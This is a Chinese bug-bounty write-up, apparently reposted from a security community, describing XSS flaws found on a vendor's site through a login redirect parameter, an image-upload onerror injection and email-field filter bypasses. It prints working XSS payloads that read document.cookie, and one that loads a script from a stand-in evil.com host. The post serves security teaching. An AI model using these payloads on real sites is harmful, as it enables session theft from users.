最近试着去学挖洞,在测某SRC的一些业务时发现以下几个XSS的点。对于一些请求参数在返回的html中以隐蔽的标签形式出现的XSS,感觉还是挺常见的。这里我写了个Bp的插件用来监听请求并捕获这种情况:SuperTags(https://github.com/Hpd0ger/SuperTags)
下面的案例和讨论如果有什么片面或错误的地方,还望师傅们斧正
登陆跳转处XSS
getParam: function(c_name) {
var urlParams = location.href;
var c_start = urlParams.indexOf(c_name + "=");銆€
if (c_start != -1) {
c_start = c_start + c_name.length + 1;銆€
c_end = urlParams.indexOf("&", c_start);
if (c_end == -1) {
c_end = urlParams.length;
}
return urlParams.substring(c_start, c_end);
}else{
return null;
}
},
cb=javascript:alert(document.cookie);//normal.com
Image处的XSS
上传图片->提交反馈->服务端拼接提交的img参数(uri)为img标签src属性的完整地址
imglist
参数是刚才上传图片返回的uri地址。POST xxxx?q=index/feedback HTTP/1.1
imglist=%2Cpicture%2F2019%2F02%2F22%2F_a948b4eeaca7420cad9d54fdb0331230.jpg&
imglist=urlencode(" onerror="alert(`XSS�`)">
邮件提交处的XSS
-
email字符串长度<40且@结尾 -
不能同时出现两个双引号、括号 -
正则alert(1)prompt(1)confim...
urlencode(email="/accesskey="X"/onclick="alert('xss')&#[email protected])
encodeurl(email="/onmouseover="alert(document.cookie)&#[email protected])
一个受阻的XSS
https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(document56cookie)
https://src.com?url=redirect_uri%3Dhttps://evil.com/xss.js
2. iframe是否能调用父页面的事件呢(document)?如果可以的话我们就直接调js uri把cookie打出去。之所以有这个想法是因为,当时寻思既然站点调用这个三方服务了,很大可能性这个三方站是iframe-src白名单。不过测试后发现依然被跨域限制,测试payload
https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(window.parent.document56cookie)
自闭总结
作者:hpdoger,来源:先知社区
原文始发于微信公众号(菜鸟学信安):实战|SRC挖掘初探之随缘XSS挖掘
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论